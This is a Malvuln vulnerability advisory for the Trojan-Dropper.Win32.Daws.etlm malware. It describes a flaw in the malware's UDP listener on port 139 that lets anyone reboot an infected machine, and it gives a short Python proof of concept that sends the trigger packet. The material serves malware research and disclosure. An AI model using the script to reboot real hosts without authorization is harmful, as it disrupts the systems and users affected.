Trojan-Dropper.Win32.Daws.etlm Unauthenticated Reboot

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/a0479e18283ed46e8908767dd0b40f8f.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-Dropper.Win32.Daws.etlm  
Vulnerability: Remote Unauthenticated System Reboot  
Description: Daws.etlm drops an executable named "MSWDM.EXE" under Windows dir and listens on UDP port 139. Unauthenticated third-party attackers can send a single uppercase char "D" datagram packet to the infected machine causing it to reboot. Basic testing using other upper/lower case chars from A-Z or numbers 0-9 did not reveal anything else of interest.  
Type: PE32  
MD5: a0479e18283ed46e8908767dd0b40f8f  
Vuln ID: MVID-2021-0111  
Dropped files: MSWDM.EXE  
Disclosure: 02/25/2021  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=139  
  
def doit():  
try:  
s=socket(AF_INET, SOCK_DGRAM)   
s.connect((MALWARE_HOST,PORT))  
except Exception as e:  
print(str(e))  
  
s.send("D")  
s.close()  
  
print("Trojan-Dropper.Win32.Daws.etlm / Remote Unauthenticated System Reboot")  
print("MD5: a0479e18283ed46e8908767dd0b40f8f")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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`